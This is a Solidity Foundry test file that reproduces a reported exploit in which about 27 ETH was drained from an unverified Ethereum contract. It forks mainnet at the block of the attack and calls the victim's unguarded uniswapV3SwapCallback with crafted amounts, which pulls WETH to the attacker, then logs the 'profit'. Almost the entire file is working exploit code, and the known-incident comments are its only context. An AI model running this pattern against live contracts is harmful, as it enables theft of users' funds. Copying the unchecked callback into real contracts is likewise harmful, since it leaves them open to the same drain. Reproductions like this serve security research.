UnverifiedContr_0x452E25_exp.sol

// This contract is not verified
import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~27 ETH
// TX : https://etherscan.io/tx/0x1194e1d6085885ce054a7ff8cd3cd0c3fa308ec87e4ccde8dd0549842fef4f1b
// Attacker : https://etherscan.io/address/0xabee16e74dd268105f166c27a847edc2b8e7cc4e
// Attack Contract : https://etherscan.io/address/0x27b27842771df79af6a69795f6fca0948c8333c0
// GUY : https://x.com/SlowMist_Team/status/1808334870650970514

interface IVictime {
    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory data) external;
}

contract XXXExploit is Test {
    address victime_ = address(0x452E253EeB3Bb16e40337D647c01b6c910Aa84B3);
    IERC20 weth_ = IERC20(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));

    function setUp() public {
        vm.createSelectFork("mainnet", 20_223_094);
    }

    function testExploit() public {
        bytes memory data = abi.encode(bool(true), address(weth_));
        IVictime(victime_).uniswapV3SwapCallback(27_349_000_000_000_000_000, 27_349_000_000_000_000_000, data);
        emit log_named_decimal_uint("profit = ", weth_.balanceOf(address(this)), 18);
    }

    receive() external payable {}
}